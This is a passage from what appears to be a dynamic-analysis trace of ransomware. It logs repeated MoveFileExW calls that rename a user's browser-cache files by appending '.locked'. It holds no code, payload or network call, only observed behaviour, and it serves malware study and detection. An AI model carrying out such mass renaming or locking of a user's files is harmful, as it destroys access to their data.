(normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbed5bf[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.413] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeddnm[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdDNm[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeddnm[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.421] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbedpyr[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdpyr[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbedpyr[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.433] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbedqdv[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbedqdv[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.438] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbee62t[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbee62t[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.448] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeedpr[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeedpr[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.452] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeetpb[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeetpb[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.460] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeetuf[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeetuf[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.465] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeeu5u[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeeu5u[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.469] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbef306[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbef306[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.473] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbef54r[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbef54r[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.491] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbbh[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbbh[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.549] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbq0[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbq0[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.562] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbrz[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbrz[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.573] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefxl6[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefxl6[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.584] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbegeh3[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgEH3[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbegeh3[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.588] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgsz3[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbegsz3[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgsz3[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbegsz3[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.593] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgTxB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbegtxb[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEgTxB[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbegtxb[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.596] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBo1lFJ[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbo1lfj[2].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBo1lFJ[2].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbo1lfj[2].png.locked"), dwFlags=0x2) returned 1 [0149.599] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBs47TE[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbs47te[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBs47TE[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbs47te[1].png.locked"), dwFlags=0x2) returned 1 [0149.612] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBu9sWQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbu9swq[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBu9sWQ[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbu9swq[1].jpg.locked"), dwFlags=0x2) returned 1 [0149.679] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BByazif[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbyazif[2].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BByazif[2].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbyazif[2].jpg.locked"), dwFlags=0x2) returned 1 [0149.728] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\bs-components[1].css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bs-components[1].css"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\bs-components[1].css.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bs-components[1].css.locked"), dwFlags=0x2) returned 1 [0149.746] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\bs-util[1].css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bs-util[1].css"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\bs-util[1].css.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bs-util[1].css.locked"), dwFlags=0x2) returned 1 [0149.958] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\c7-bdbd0d-91cdfbc1[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\c7-bdbd0d-91cdfbc1[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\c7-bdbd0d-91cdfbc1[1].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\c7-bdbd0d-91cdfbc1[1].txt.locked"), dwFlags=0x2) returned 1 [0150.181] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\chrome.min[1].css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\chrome.min[1].css"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\chrome.min[1].css.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\chrome.min[1].css.locked"), dwFlags=0x2) returned 1 [0150.186] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\chrome_throbber_fast_16[1].gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\chrome_throbber_fast_16[1].gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\chrome_throbber_fast_16[1].gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\chrome_throbber_fast_16[1].gif.locked"), dwFlags=0x2) returned 1 [0150.189] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\collect[1].gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\collect[1].gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\collect[1].gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\collect[1].gif.locked"), dwFlags=0x2) returned 1 [0150.196] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ContainerTag[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\containertag[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ContainerTag[1].js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\containertag[1].js.locked"), dwFlags=0x2) returned 1 [0150.218] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\eula-mac[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\eula-mac[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\eula-mac[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\eula-mac[1].jpg.locked"), dwFlags=0x2) returned 1 [0150.266] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ga[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\ga[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\ga[1].js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\ga[1].js.locked"), dwFlags=0x2) returned 1 [0150.289] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\modernizr[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\modernizr[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\modernizr[1].js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\modernizr[1].js.locked"), dwFlags=0x2) returned 1 [0150.296] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\MSNIdSync[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\msnidsync[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\MSNIdSync[1].js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\msnidsync[1].js.locked"), dwFlags=0x2) returned 1 [0150.337] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\player[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\player[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\player[1].js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\player[1].js.locked"), dwFlags=0x2) returned 1 [0150.372] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\player[2].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\player[2].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\player[2].js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\player[2].js.locked"), dwFlags=0x2) returned 1 [0150.376] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\tecjslog[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\tecjslog[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\tecjslog[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\tecjslog[1].png.locked"), dwFlags=0x2) returned 1 [0150.382] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\th[1].jpg" 